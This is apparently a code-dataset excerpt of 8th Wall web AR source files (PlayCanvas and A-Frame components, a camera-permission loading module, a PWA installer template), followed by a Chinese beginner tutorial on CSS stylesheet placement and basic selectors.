"token_count": 1105
} | 6 |
/*jshint esversion: 6, asi: true, laxbreak: true*/
// xrcontroller.js: Opens the browser's web camera and runs AR. Attach this to an entity in the
// PlayCanvas scene.
var xrcontroller = pc.createScript('xrcontroller')
// Optionally, world tracking can be disabled to increase efficiency when tracking image targets.
xrcontroller.attributes.add('disableWorldTracking', {type: 'boolean'})
// Optionally, add a material to this script to make it a transparent shadow receiver, which is
// very helpful for producing a good AR effect.
xrcontroller.attributes.add('shadowmaterial', {type: 'asset'})
xrcontroller.prototype.initialize = function() {
const disableWorldTracking = this.disableWorldTracking
// After XR has fully loaded, open the camera feed and start displaying AR.
const runOnLoad = ({pcCamera, pcApp}, extramodules) => () => {
XR8.XrController.configure({disableWorldTracking})
XR8.PlayCanvas.run({pcCamera, pcApp}, extramodules)
}
// If a shadow material was given, apply the appropriate shaders.
if (this.shadowmaterial) {
XRExtras.PlayCanvas.makeShadowMaterial({pc, material: this.shadowmaterial})
}
// Find the camera in the playcanvas scene, and tie it to the motion of the user's phone in the
// world.
const pcCamera = XRExtras.PlayCanvas.findOneCamera(this.entity)
// While XR is still loading, show some helpful things.
// Almost There: Detects whether the user's environment can support WebAR, and if it doesn't,
// shows hints for how to view the experience.
// Loading: shows prompts for camera permission and hides the scene until it's ready for display.
// Runtime Error: If something unexpected goes wrong, display an error screen.
XRExtras.Loading.showLoading({onxrloaded: runOnLoad({pcCamera, pcApp: this.app}, [
// Optional modules that developers may wish to customize or theme.
XR8.XrController.pipelineModule(), // Enables SLAM tracking.
XRExtras.AlmostThere.pipelineModule(), // Detects unsupported browsers and gives hints.
XRExtras.Loading.pipelineModule(), // Manages the loading screen on startup.
XRExtras.RuntimeError.pipelineModule(), // Shows an error image on runtime error.
])})
}
| 8thwall/web/gettingstarted/playcanvas/scripts/xrcontroller.js/0 | {
"file_path": "8thwall/web/gettingstarted/playcanvas/scripts/xrcontroller.js",
"repo_id": "8thwall",
"token_count": 669
} | 7 |
import type {ComponentDefinition} from 'aframe'
declare const THREE: any
declare const XRExtras: any
const targetMeshComponent: ComponentDefinition = {
schema: {
'material-resource': {type: 'string'},
'geometry': {type: 'string'},
'height': {type: 'number'},
'width': {type: 'number'},
},
init() {
this.curvedMesh = null
const geometry = ['full', 'label'].includes(this.data.geometry) ? this.data.geometry : 'label'
const updateMesh = ({detail}) => {
let material
if (this.el.getAttribute('material')) {
material = this.el.components.material.material
} else if (this.data['material-resource']) {
material = this.el.sceneEl.querySelector(this.data['material-resource']).material
} else {
material = new THREE.MeshBasicMaterial(
{color: '#7611B6', opacity: 0.5, transparent: true}
)
}
const userHeight = this.data.height
const userWidth = this.data.width
const geo = XRExtras.ThreeExtras.createTargetGeometry(
detail, geometry === 'full', userHeight, userWidth
)
this.curvedMesh = new THREE.Mesh(geo, material)
this.el.setObject3D('mesh', this.curvedMesh)
this.el.emit('model-loaded')
}
this.el.parentNode.addEventListener('xrextrasimagegeometry', updateMesh)
},
update() {
if (!this.curvedMesh) {
return
}
let material
if (this.el.getAttribute('material')) {
material = this.el.components.material.material
} else if (this.data['material-resource']) {
material = this.el.sceneEl.querySelector(this.data['material-resource']).material
} else {
material = new THREE.MeshBasicMaterial({color: '#7611B6', opacity: 0.5, transparent: true})
}
this.curvedMesh.material = material
},
}
const curvedTargetContainerComponent: ComponentDefinition = {
schema: {
color: {type: 'string', default: '#464766'},
height: {type: 'number'},
width: {type: 'number'},
},
init() {
const {object3D} = this.el
let openingMesh = null
let topMesh = null
let bottomMesh = null
let intTopMesh = null
let intMesh = null
let intBottomMesh = null
// set interior container color
const intColor = this.data.color
// Similar to ThreeExtras.createTargetGeometry, except the cutout is inverse, and if the
// geometry is not full, the cylinders are capped with meshes on top and bottom.
const createCurvedContainerGeometry = (geometry, isFull, userHeight, userWidth) => {
const length = (2 * Math.PI - geometry.arcLengthRadians) * (userWidth || 1)
const open = isFull
return new THREE.CylinderGeometry(
geometry.radiusTop,
geometry.radiusBottom,
userHeight ? geometry.height * userHeight : geometry.height,
50,
1,
open,
(isFull ? 0.0 : (2 * Math.PI - length) / 2) + Math.PI,
isFull ? 2 * Math.PI : length
)
}
const createCircleGeometry = (geometry, top) => {
const orientation = top ? geometry.radiusTop : geometry.radiusBottom
return new THREE.CircleGeometry(orientation, 50)
}
const constructGeometry = ({detail}) => {
// create hider CYLINDER - opening
const userHeight = this.data.height
const userWidth = this.data.width
const openingEl = document.createElement('a-entity')
const openingGeo = createCurvedContainerGeometry(detail, false, userHeight, userWidth)
const material = new THREE.MeshBasicMaterial({colorWrite: false})
openingMesh = new THREE.Mesh(openingGeo, material)
openingMesh.rotation.set(0, Math.PI, 0)
openingEl.setObject3D('mesh', openingMesh)
this.el.appendChild(openingEl)
const labelHeight = openingMesh.geometry.parameters.height
// create hider CYLINDER - top
const topEl = document.createElement('a-entity')
const topGeo = createCurvedContainerGeometry(detail, true, userHeight, userWidth)
topMesh = new THREE.Mesh(topGeo, material)
topMesh.rotation.set(Math.PI, 0, 0)
topEl.setObject3D('mesh', topMesh)
topEl.object3D.position.set(0, labelHeight, 0)
this.el.appendChild(topEl)
// create hider CYLINDER - bottom
const bottomEl = document.createElement('a-entity')
const bottomGeo = createCurvedContainerGeometry(detail, true, userHeight, userWidth)
bottomMesh = new THREE.Mesh(bottomGeo, material)
bottomMesh.rotation.set(Math.PI, 0, 0)
bottomEl.setObject3D('mesh', bottomMesh)
bottomEl.object3D.position.set(0, -labelHeight, 0)
this.el.appendChild(bottomEl)
const intBackMat = new THREE.MeshStandardMaterial({color: intColor, side: THREE.BackSide})
const intFrontMat = new THREE.MeshStandardMaterial({color: intColor, side: THREE.FrontSide})
// create interior CIRCLE - top
const intTopEl = document.createElement('a-entity')
const intTopGeo = createCircleGeometry(detail, true)
intTopMesh = new THREE.Mesh(intTopGeo, intFrontMat)
intTopMesh.rotation.set(Math.PI / 2, 0, 0)
intTopEl.setObject3D('mesh', intTopMesh)
intTopEl.object3D.position.set(0, labelHeight / 2, 0)
this.el.appendChild(intTopEl)
// create interior CYLINDER
const intEl = document.createElement('a-entity')
const intGeo = createCurvedContainerGeometry(detail, true, userHeight, userWidth)
intMesh = new THREE.Mesh(intGeo, intBackMat)
intMesh.rotation.set(0, Math.PI, 0)
intEl.setObject3D('mesh', intMesh)
intEl.object3D.position.set(0, 0, 0)
intEl.object3D.scale.set(1, 1, 1)
this.el.appendChild(intEl)
// create interior CIRCLE - bottom
const intBottomEl = document.createElement('a-entity')
const intBottomGeo = createCircleGeometry(detail, false)
intBottomMesh = new THREE.Mesh(intBottomGeo, intBackMat)
intBottomMesh.rotation.set(Math.PI / 2, 0, 0)
intBottomEl.setObject3D('mesh', intBottomMesh)
intBottomEl.object3D.position.set(0, -labelHeight / 2, 0)
this.el.appendChild(intBottomEl)
}
this.el.parentNode.addEventListener('xrextrasimagegeometry', constructGeometry)
},
}
const targetVideoFadeComponent: ComponentDefinition = {
schema: {
video: {type: 'string'},
height: {type: 'number'},
width: {type: 'number'},
},
init() {
const {object3D} = this.el
// TODO(nathan): figure out how to go from Element to HTMLVideoElement without unknown.
const v = document.querySelector(this.data.video) as unknown as HTMLVideoElement
let geomMesh = null
const constructGeometry = ({detail}) => {
const geo = XRExtras.ThreeExtras.createTargetGeometry(
detail, false, this.data.height, this.data.width
)
geomMesh = new THREE.Mesh(geo)
this.el.setObject3D('mesh', geomMesh)
this.el.setAttribute('material', 'opacity', 0)
this.el.setAttribute('material', 'src', v)
}
const foundTarget = () => {
v.play()
this.el.setAttribute('animation', {
property: 'components.material.material.opacity',
dur: 800,
isRawProperty: true,
easing: 'easeInOutQuad',
loop: false,
to: '1',
})
}
const lostTarget = () => {
v.pause()
v.currentTime = 0
this.el.components.material.material.opacity = 0
this.el.removeAttribute('animation')
}
this.el.parentNode.addEventListener('xrextrasimagegeometry', constructGeometry)
this.el.parentNode.addEventListener('xrextrasfound', foundTarget)
this.el.parentNode.addEventListener('xrextraslost', lostTarget)
},
}
const targetVideoSoundComponent: ComponentDefinition = {
schema: {
video: {type: 'string'},
thumb: {type: 'string'},
height: {type: 'number'},
width: {type: 'number'},
},
init() {
const {object3D} = this.el
const v = document.querySelector(this.data.video)
const p = this.data.thumb && document.querySelector(this.data.thumb)
let tapped = false
let geomMesh = null
const constructGeometry = ({detail}) => {
const geo = XRExtras.ThreeExtras.createTargetGeometry(
detail, false, this.data.height, this.data.width
)
geomMesh = new THREE.Mesh(geo)
this.el.setObject3D('mesh', geomMesh)
this.el.setAttribute('class', 'cantap')
this.el.setAttribute('material', 'src', p || v)
}
this.el.addEventListener('click', () => {
if (!tapped) {
this.el.setAttribute('material', 'src', v)
v.play()
tapped = true
}
})
const foundTarget = () => {
if (tapped) {
v.play()
}
}
const lostTarget = () => {
if (tapped) {
v.pause()
}
}
this.el.parentNode.addEventListener('xrextrasimagegeometry', constructGeometry)
this.el.parentNode.addEventListener('xrextrasfound', foundTarget)
this.el.parentNode.addEventListener('xrextraslost', lostTarget)
},
}
// Materialize aframe primitives into the scene at detected image locations.
//
// Entities will have the fllowing attributes set:
// - Name: The name of the image target.
// - Rotated: Whether the image targes are stored rotated.
// - Metadata: Metadata that was supplied in the xr console.
const generateImageTargetsComponent: ComponentDefinition = {
schema: {
primitive: {type: 'string'},
},
init() {
const componentMap = {}
const addComponents = ({detail}) => {
detail.imageTargets.forEach(({name, type, metadata, properties}) => {
const el = document.createElement(this.data.primitive)
el.setAttribute('id', `xrextras-imagetargets-${name}`)
el.setAttribute('name', name)
el.setAttribute('type', type)
el.setAttribute('rotated', (properties && properties.isRotated) ? 'true' : 'false')
el.setAttribute(
'metadata', (typeof metadata === 'string') ? metadata : JSON.stringify(metadata)
)
document.querySelector('a-scene').appendChild(el)
componentMap[name] = el
})
}
const forwardEvent = (event) => {
const component = componentMap[event.detail.name]
if (!component) {
return
}
component.emit(event.type, event.detail, false)
}
this.el.sceneEl.addEventListener('xrimageloading', addComponents)
this.el.sceneEl.addEventListener('xrimagefound', forwardEvent)
this.el.sceneEl.addEventListener('xrimageupdated', forwardEvent)
this.el.sceneEl.addEventListener('xrimagelost', forwardEvent)
},
}
// Updates a single a-entity to track the image target with the given name (specified in 8th wall
// console).
const namedImageTargetComponent: ComponentDefinition = {
schema: {
name: {type: 'string'},
},
init() {
const {object3D} = this.el
const {name} = this.data
const geometry = {}
const onready = () => {
this.el.sceneEl.removeEventListener('realityready', onready)
object3D.visible = false
}
this.el.sceneEl.addEventListener('realityready', onready)
const checkGeometry = (newGeometry) => {
let needsUpdate = false
const fields = [
'type',
'height',
'radiusTop',
'radiusBottom',
'arcLengthRadians',
'arcStartRadians',
'scaledWidth',
'scaledHeight',
]
fields.forEach((f) => {
if (geometry[f] !== newGeometry[f]) {
geometry[f] = newGeometry[f]
needsUpdate = true
}
})
if (needsUpdate) {
this.el.emit('xrextrasimagegeometry', geometry, false)
}
}
const imageScanning = ({detail}) => {
detail.imageTargets.forEach((t) => {
if (name !== t.name) {
return
}
checkGeometry({type: t.type, ...t.geometry})
})
}
const updateImage = ({detail}) => {
if (name !== detail.name) {
return
}
object3D.position.copy(detail.position)
object3D.quaternion.copy(detail.rotation)
object3D.scale.set(detail.scale, detail.scale, detail.scale)
object3D.visible = true
}
const showImage = ({detail}) => {
if (name !== detail.name) {
return
}
checkGeometry(detail)
updateImage({detail})
this.el.emit('xrextrasfound', {}, false)
}
const hideImage = ({detail}) => {
if (name !== detail.name) {
return
}
this.el.emit('xrextraslost', {}, false)
object3D.visible = false
}
this.el.sceneEl.addEventListener('xrimagescanning', imageScanning)
this.el.sceneEl.addEventListener('xrimagefound', showImage)
this.el.sceneEl.addEventListener('xrimageupdated', updateImage)
this.el.sceneEl.addEventListener('xrimagelost', hideImage)
},
}
const spinComponent: ComponentDefinition = {
schema: {
speed: {default: 2000},
direction: {default: 'normal'},
},
init() {
this.el.setAttribute('animation__spin', {
property: 'object3D.rotation.y',
from: 0,
to: 360,
dur: this.data.speed,
dir: this.data.direction,
loop: true,
easing: 'linear',
})
},
remove() {
this.el.removeAttribute('animation__spin')
},
}
export {
targetMeshComponent,
curvedTargetContainerComponent,
targetVideoFadeComponent,
targetVideoSoundComponent,
generateImageTargetsComponent,
namedImageTargetComponent,
spinComponent,
}
| 8thwall/web/xrextras/src/aframe/components/target-components.ts/0 | {
"file_path": "8thwall/web/xrextras/src/aframe/components/target-components.ts",
"repo_id": "8thwall",
"token_count": 5328
} | 8 |
/* globals XR8 */
import '../fonts/fonts.css'
import './loading-module.css'
import html from './loading-module.html'
const FIRST_FRAME_DELAY = 5
// This is a simplistic check to be used when we have already failed in getting
// access to the camera. This can be used to differentiate between a permission denial
// and a lack of camera.
function hasGetUserMedia() {
return navigator && navigator.mediaDevices && navigator.mediaDevices.getUserMedia
}
let loadingModule = null
function create() {
let rootNode_ = null
let loadBackground_
let loadImageContainer_
let camPermissionsRequest_
let camPermissionsFailedAndroid_
let camPermissionsFailedApple_
let micPermissionsFailedAndroid_
let micPermissionsFailedApple_
let linkOutViewAndroid_
let copyLinkViewAndroid_
let userPromptError_
let motionPermissionsErrorApple_
let cameraSelectionError_
let deviceMotionErrorApple_
let appLoaded_ = () => true
// Should the loading module wait for a reality texture to hide the loading screen.
let waitForRealityTexture_ = false
let numUpdates_ = 0
// Are we waiting to hide the loading screen.
let waitingToHideLoadingScreen_ = false
let waitingOnAppResources_ = false
let needsCookie_ = false
let runConfig_ = null
const ua = navigator.userAgent
let cancelCameraTimeout
let hasMotionEvents_ = false
const motionListener = () => {
hasMotionEvents_ = true
window.removeEventListener('devicemotion', motionListener)
}
window.addEventListener('devicemotion', motionListener)
const getAppNameForDisplay = () => {
const deviceInfo = XR8.XrDevice.deviceEstimate()
if (deviceInfo.browser.inAppBrowser) {
return deviceInfo.browser.inAppBrowser
}
return deviceInfo.browser.name === 'Mobile Safari' ? '' : deviceInfo.browser.name
}
const iframeMotionListener = (event) => {
if (event.data.deviceOrientation8w || event.data.deviceMotion8w) {
hasMotionEvents_ = true
window.removeEventListener('message', iframeMotionListener)
}
}
window.addEventListener('message', iframeMotionListener)
const setRoot = (rootNode) => {
rootNode_ = rootNode
loadBackground_ = rootNode_.querySelector('#loadBackground')
loadImageContainer_ = rootNode_.querySelector('#loadImageContainer')
camPermissionsRequest_ = document.getElementById('requestingCameraPermissions')
camPermissionsFailedAndroid_ = document.getElementById('cameraPermissionsErrorAndroid')
camPermissionsFailedApple_ = document.getElementById('cameraPermissionsErrorApple')
micPermissionsFailedAndroid_ = document.getElementById('microphonePermissionsErrorAndroid')
micPermissionsFailedApple_ = document.getElementById('microphonePermissionsErrorApple')
linkOutViewAndroid_ = document.getElementById('linkOutViewAndroid')
copyLinkViewAndroid_ = document.getElementById('copyLinkViewAndroid')
deviceMotionErrorApple_ = document.getElementById('deviceMotionErrorApple')
userPromptError_ = document.getElementById('userPromptError')
cameraSelectionError_ = document.getElementById('cameraSelectionWorldTrackingError')
motionPermissionsErrorApple_ = document.getElementById('motionPermissionsErrorApple')
}
const clearRoot = () => {
if (rootNode_ && rootNode_.parentNode) {
rootNode_.parentNode.removeChild(rootNode_)
}
rootNode_ = null
loadBackground_ = null
loadImageContainer_ = null
camPermissionsRequest_ = null
camPermissionsFailedAndroid_ = null
camPermissionsFailedApple_ = null
micPermissionsFailedAndroid_ = null
micPermissionsFailedApple_ = null
linkOutViewAndroid_ = null
copyLinkViewAndroid_ = null
deviceMotionErrorApple_ = null
userPromptError_ = null
cameraSelectionError_ = null
motionPermissionsErrorApple_ = null
}
// Hide the loading screen.
const hideLoadingScreenNow = (removeRoot = true) => {
if (loadBackground_) {
loadBackground_.classList.add('hidden')
}
if (removeRoot) {
clearRoot()
}
}
// Fade out the loading screen and then hide it.
const hideLoadingScreen = (removeRoot = true) => {
if (loadImageContainer_) {
loadImageContainer_.classList.add('fade-out')
}
setTimeout(() => {
if (loadBackground_) {
loadBackground_.classList.add('fade-out')
loadBackground_.style.pointerEvents = 'none'
}
setTimeout(() => hideLoadingScreenNow(removeRoot), 400)
}, 400)
}
const showCameraPermissionsPrompt = () => {
camPermissionsRequest_.classList.remove('hidden')
}
const dismissCameraPermissionsPrompt = () => {
camPermissionsRequest_.classList.add('fade-out')
}
const promptUserToChangeBrowserSettingsMicrophone = () => {
// We only really handle Android variants (Samsung/Chrome browsers)
if (ua.includes('Linux')) {
let instructionsToShow
const domainViews = rootNode_.querySelectorAll('.domain-view')
for (let i = 0; i < domainViews.length; i++) {
domainViews[i].textContent = window.location.hostname
}
if (navigator.userAgent.includes('SamsungBrowser')) {
instructionsToShow = rootNode_.querySelectorAll('.samsung-instruction')
} else {
instructionsToShow = rootNode_.querySelectorAll('.chrome-instruction')
}
micPermissionsFailedAndroid_.classList.remove('hidden')
instructionsToShow.forEach((instruction) => {
instruction.classList.remove('hidden')
})
} else {
// Show permission error for iOS
micPermissionsFailedApple_.classList.remove('hidden')
micPermissionsFailedApple_.getElementsByClassName('wk-app-name')[0]
.innerText = getAppNameForDisplay()
}
}
const promptUserToChangeBrowserSettingsCamera = () => {
// We only really handle Android variants (Samsung/Chrome browsers)
if (ua.includes('Linux')) {
let instructionsToShow
const domainViews = rootNode_.querySelectorAll('.domain-view')
for (let i = 0; i < domainViews.length; i++) {
domainViews[i].textContent = window.location.hostname
}
if (navigator.userAgent.includes('SamsungBrowser')) {
instructionsToShow = rootNode_.querySelectorAll('.samsung-instruction')
} else {
instructionsToShow = rootNode_.querySelectorAll('.chrome-instruction')
}
camPermissionsFailedAndroid_.classList.remove('hidden')
instructionsToShow.forEach((instruction) => {
instruction.classList.remove('hidden')
})
} else {
// Show permission error for iOS
camPermissionsFailedApple_.classList.remove('hidden')
camPermissionsFailedApple_.getElementsByClassName('wk-app-name')[0]
.innerText = getAppNameForDisplay()
}
}
const promptUserToChangeBrowserSettings = (reason) => {
camPermissionsRequest_.classList.add('hidden')
if (reason === 'NO_MICROPHONE' || reason === 'DENY_MICROPHONE') {
promptUserToChangeBrowserSettingsMicrophone()
} else {
promptUserToChangeBrowserSettingsCamera()
}
hideLoadingScreen(false)
XR8.pause()
XR8.stop()
}
const displayAndroidLinkOutView = () => {
camPermissionsRequest_.classList.add('hidden')
const ogTag = document.querySelector('meta[name="og:image"]')
const headerImgSrc = ogTag && ogTag.content
Array.from(document.querySelectorAll('.app-header-img')).forEach((img) => {
if (headerImgSrc) {
img.src = headerImgSrc
} else {
img.classList.add('foreground-image')
img.src = 'https://cdn.8thwall.com/web/img/almostthere/v2/android-fallback.png'
}
})
const cBtn = document.getElementById('open_browser_android')
const link = window.location.href.replace(/^https:\/\//, '')
cBtn.href = `intent://${link}#Intent;scheme=https;action=android.intent.action.VIEW;end;`
linkOutViewAndroid_.classList.remove('hidden')
hideLoadingScreen(false)
XR8.pause()
XR8.stop()
}
const displayCopyLinkView = () => {
camPermissionsRequest_.classList.add('hidden')
const ogTag = document.querySelector('meta[name="og:image"]')
const headerImgSrc = ogTag && ogTag.content
Array.from(document.querySelectorAll('.app-header-img')).forEach((img) => {
if (headerImgSrc) {
img.src = headerImgSrc
} else {
img.classList.add('foreground-image')
img.src = 'https://cdn.8thwall.com/web/img/almostthere/v2/android-fallback.png'
}
})
const link = window.location.href
const redirectLinks = document.querySelectorAll('.desktop-home-link')
for (let i = 0; i < redirectLinks.length; i++) {
redirectLinks[i].textContent = link
}
const cBtn = document.getElementById('copy_link_android')
cBtn.addEventListener('click', () => {
const dummy = document.createElement('input')
document.body.appendChild(dummy)
dummy.value = link
dummy.select()
document.execCommand('copy')
document.body.removeChild(dummy)
cBtn.innerHTML = 'Copied!'
cBtn.classList.add('error-copy-link-copied')
})
copyLinkViewAndroid_.classList.remove('hidden')
hideLoadingScreen(false)
XR8.pause()
XR8.stop()
}
const promptUserToChangeBrowserMotionSettings = () => {
window.removeEventListener('devicemotion', motionListener)
window.removeEventListener('message', iframeMotionListener)
// Device orientation permissions only need to be requested on iOS.
if (XR8.XrDevice.deviceEstimate().os !== 'iOS') {
return
}
// Device orientation permissions only need to be requested if they're required.
if (XR8.XrPermissions) {
const permissions = XR8.XrPermissions.permissions()
const requiredPermissions = XR8.requiredPermissions()
if (!requiredPermissions.has(permissions.DEVICE_MOTION) &&
!requiredPermissions.has(permissions.DEVICE_ORIENTATION)) {
return
}
}
if (XR8.XrDevice.deviceEstimate().osVersion.startsWith('12')) {
deviceMotionErrorApple_.classList.remove('hidden')
} else {
motionPermissionsErrorApple_.classList.remove('hidden')
motionPermissionsErrorApple_.getElementsByClassName('wk-app-name')[0]
.innerText = getAppNameForDisplay()
}
hideLoadingScreen(false)
XR8.pause()
XR8.stop()
}
const showLoading = (args) => {
if (rootNode_) {
return
}
// Show the loading UI.
const e = document.createElement('template')
e.innerHTML = html.trim()
const rootNode = e.content.firstChild
document.getElementsByTagName('body')[0].appendChild(rootNode)
setRoot(rootNode)
waitingToHideLoadingScreen_ = true
if (args && args.waitForRealityTexture) {
waitForRealityTexture_ = true
}
if (args && args.onxrloaded) {
if (window.XR8) {
args.onxrloaded()
} else {
window.addEventListener('xrloaded', args.onxrloaded)
}
}
}
const isAndroid = ua.includes('Linux')
needsCookie_ = isAndroid && !document.cookie.includes('previouslyGotCameraPermission=true')
const previouslyGotCameraPermission = isAndroid && !needsCookie_
const pipelineModule = () => ({
name: 'loading',
onStart: () => {
if (hasMotionEvents_ !== true) {
promptUserToChangeBrowserMotionSettings()
}
},
onUpdate: ({processCpuResult}) => {
// We have already removed the loading screen, return.
if (!waitingToHideLoadingScreen_) {
return
}
// Stay in sync with xr-aframe, which also has a FIRST_FRAME_DELAY but doesn't start counting
// frames until it has a texture. This will only work for A-Frame. If other renderers need a
// delay, use frameStartResult's cameraTexture, which should be one frame ahead of
// `reality`'s texture.
if (waitForRealityTexture_) {
const {reality, facecontroller, handcontroller, layerscontroller} = processCpuResult
const slamReady = reality && reality.realityTexture
const faceControllerReady = facecontroller && facecontroller.cameraFeedTexture
const handControllerReady = handcontroller && handcontroller.cameraFeedTexture
const layersControllerReady = layerscontroller && layerscontroller.cameraFeedTexture
if (!slamReady && !faceControllerReady && !handControllerReady && !layersControllerReady) {
return
}
}
// Show the canvas after N frames have passed and app resources are loaded. Don't wait for app
// resources to be loaded to start counting frames.
numUpdates_++
if (numUpdates_ > FIRST_FRAME_DELAY && !waitingOnAppResources_ && appLoaded_()) {
if (needsCookie_) {
document.cookie = 'previouslyGotCameraPermission=true;max-age=31536000'
}
hideLoadingScreen()
waitingToHideLoadingScreen_ = false
}
},
onAppResourcesLoaded: () => {
waitingOnAppResources_ = false
},
onBeforeRun: (args) => {
runConfig_ = args && args.config
waitingOnAppResources_ = true
numUpdates_ = 0
showLoading()
},
onCameraStatusChange: ({status, config, reason}) => {
if (!XR8.XrDevice.isDeviceBrowserCompatible(runConfig_) || !rootNode_) {
return
}
if (status === 'requesting') {
if (config.verbose) {
const debugElement = document.getElementById('camera_mode_world_tracking_error')
if (debugElement) {
debugElement.innerText = JSON.stringify({
ua,
device: XR8.XrDevice.deviceEstimate(),
})
}
}
const curBrowser = XR8.XrDevice.deviceEstimate().browser.inAppBrowser
if (curBrowser) {
cancelCameraTimeout = setTimeout(() => {
if (XR8.XrDevice.deviceEstimate().os !== 'iOS') {
XR8.pause()
XR8.stop()
displayAndroidLinkOutView()
}
}, 3000)
}
showLoading()
if (!previouslyGotCameraPermission) {
showCameraPermissionsPrompt()
}
} else if (status === 'hasStream') {
clearTimeout(cancelCameraTimeout)
if (!previouslyGotCameraPermission) {
dismissCameraPermissionsPrompt()
}
} else if (status === 'hasVideo') {
// wait a few frames for UI to update before dropping load screen.
} else if (status === 'failed') {
clearTimeout(cancelCameraTimeout)
const deviceInfo = XR8.XrDevice.deviceEstimate()
if (!hasGetUserMedia()) {
displayCopyLinkView()
} else {
switch (deviceInfo.browser.inAppBrowser) {
case 'Sino Weibo':
case 'WeChat':
displayCopyLinkView()
break
case undefined:
case 'Apple News':
case 'Facebook Messenger':
case 'Facebook':
case 'Google Chrome':
case 'Instagram':
case 'Line':
case 'LinkedIn':
case 'Microsoft Edge':
case 'Mozilla Firefox Focus':
case 'Naver':
case 'Opera Touch':
case 'Pinterest':
case 'Snapchat':
promptUserToChangeBrowserSettings(reason)
break
default:
displayAndroidLinkOutView()
break
}
}
}
},
onDetach: () => {
waitForRealityTexture_ = false
waitingToHideLoadingScreen_ = false
},
onRemove: () => {
hideLoadingScreenNow()
},
onException: (error) => {
if (!rootNode_) {
return
}
if (error instanceof Object) {
if (error.type === 'permission') {
if (error.permission === 'prompt') {
// User denied XR8's prompt to start requesting
hideLoadingScreen(false)
userPromptError_.classList.remove('hidden')
return
}
if (error.permission === XR8.XrPermissions.permissions().DEVICE_MOTION ||
error.permission === XR8.XrPermissions.permissions().DEVICE_ORIENTATION) {
// This only happens if motion or orientation are requestable permissions (iOS 13+)
promptUserToChangeBrowserMotionSettings()
return
}
}
if (error.type === 'configuration') {
if (error.source === 'reality' && error.err === 'slam-front-camera-unsupported') {
// User is attemping to use Front camera without disabling world tracking
hideLoadingScreen(false)
const errorElement = document.getElementById('camera_mode_world_tracking_error')
if (errorElement) {
errorElement.innerHTML = error.message
cameraSelectionError_.classList.remove('hidden')
// Stop camera processing.
XR8.pause()
XR8.stop()
}
return
}
}
}
dismissCameraPermissionsPrompt()
hideLoadingScreenNow()
},
})
const setAppLoadedProvider = (appLoaded) => {
appLoaded_ = appLoaded
}
return {
pipelineModule,
showLoading,
setAppLoadedProvider,
}
}
const LoadingFactory = () => {
if (!loadingModule) {
loadingModule = create()
}
return loadingModule
}
export {
LoadingFactory,
}
| 8thwall/web/xrextras/src/loadingmodule/loading-module.js/0 | {
"file_path": "8thwall/web/xrextras/src/loadingmodule/loading-module.js",
"repo_id": "8thwall",
"token_count": 6672
} | 9 |
<div class='pwa-installer-root'>
<div class='backdrop'></div>
<div class='drawer'>
<div class='container'>
<div class='content'>
<button id='close-button' class='close-button'>
<span class='close'></span>
</button>
<div class='icon-container'>
<img id='pwa-icon-preview' class='icon-preview' />
</div>
<p id='pwa-name' class='pwa-name'></p>
<p id='install-title' class='install-title'></p>
<p id='install-subtitle' class='install-subtitle'>for easy access.</p>
<p id='ios-install-action' class='install-action-text hidden'></p>
<button id='android-install-action' class='install-button hidden'></button>
</div>
</div>
</div>
</div>
| 8thwall/web/xrextras/src/pwainstallermodule/pwa-installer-module.html/0 | {
"file_path": "8thwall/web/xrextras/src/pwainstallermodule/pwa-installer-module.html",
"repo_id": "8thwall",
"token_count": 330
} | 10 |
## 1、什么是 CSS?
CSS 全称为 Cascading Style Sheets,中文翻译为“层叠样式表”,简称 CSS。在网页制作时采用 CSS 技术,可以有效地对页面的布局、字体、颜色、背景和其它效果实现更加精确的控制。只要对相应的代码做一些简单的修改,就可以改变同一页面的不同部分的外观和格式。
## 2、CSS 的作用
简单地来讲,CSS 能对你制作的网页进行布局、颜色、背景等样式进行控制,让网页更加美观漂亮。
## 3、样式表书写位置
### 3.1、行内式
```html
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<p style="color:red; font-size:20px"></p>
</body>
```
### 3.2、内嵌式
```html
<head>
<meta charset="UTF-8">
<title>Document</title>
<style type="text/css">
/* 样式表内容 */
div {
color: red;
}
</style>
</head>
```
### 3.3、外链式1
```html
<head>
<meta charset="UTF-8">
<title>Document</title>
<link rel="stylesheet" href="common.css">
</head>
```
### 3.4、外链式2
```html
<head>
<meta charset="UTF-8">
<title>Document</title>
<style type="text/css">
@import url(./common.css);
</style>
</head>
```
**link和@import的区别:**
- 从属关系区别
- @import是 CSS 提供的语法规则,只有导入样式表的作用;link是HTML提供的标签,不仅可以加载 CSS 文件,还可以定义 RSS、rel 连接属性等。
- 加载顺序区别
- 加载页面时,link标签引入的 CSS 被同时加载;@import引入的 CSS 将在页面加载完毕后被加载。
- 兼容性区别
- @import是 CSS2.1 才有的语法,故只可在 IE5+ 才能识别;link标签作为 HTML 元素,不存在兼容性问题。
> 参考链接:https://juejin.cn/post/6844903581649207309
## 4、选择器
### 什么是选择器?
选择器是用来指定网页上我们想要样式化的HTML元素。
## 5、基础选择器
基础选择器分为:
- 标签选择器
- 类选择器
- ID 选择器
- 通配符选择器
### 5.1. 标签选择器
语法:
```css
标签 {
属性:值;
}
```
> 特点:标签选择器定义之后,会将页面所有匹配到的元素都执行这个标签样式。
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
<style type="text/css">
div{
font-size: 50px;
color: red
}
</style>
</head>
<body>
<div>青花瓷</div>
<div>等你下课</div>
</body>
</html>
```
**补充:颜色的显示方式**
- 1、直接写颜色的名称(比如:red,green等)。查看所有颜色:https://www.w3school.com.cn/cssref/css_colors.asp
- 2、十六进制显示颜色
- (#000000; 前2为代表红色,中间2位代表绿色,后边2位代表蓝色。
- PS:#333333 => #333)
- `rgb(120, 120, 120)`
- `rgba`:a代表alpha 不透明度,值 0~1(比如:`rgba(120,120,120. 0.5)`)
### 5.2. 类选择器
语法:
```css
.自定义类名{
属性:值;
}
```

> 1、谁调用,谁生效。
>
> 2、一个标签可以调用多个类选择器。多个标签可以调用同一个类选择器。
**类选择器命名规则**
- 不能用`纯数字`或者`数字开头`来定义类名;
- 不能使用`特殊符号`或者`特殊符号开头`(_ 除外)来定义类名;
- 不建议使用汉字来定义类名;
### 5.3. ID选择器
语法:
```css
#自定义名称{
属性:值;
}
```
> 特点:
>
> 1、一个 ID 选择器**最好**在一个页面只能使用一次。如果使用2次或者2次以上,不符合 w3c 规范。
>
> 2、一个标签只能使用一个 ID 选择器。
>
> 3.一个标签可以同时使用类选择器和 ID 选择器。
### 5.4. 通配符选择器
```css
*{
属性:值;
}
```
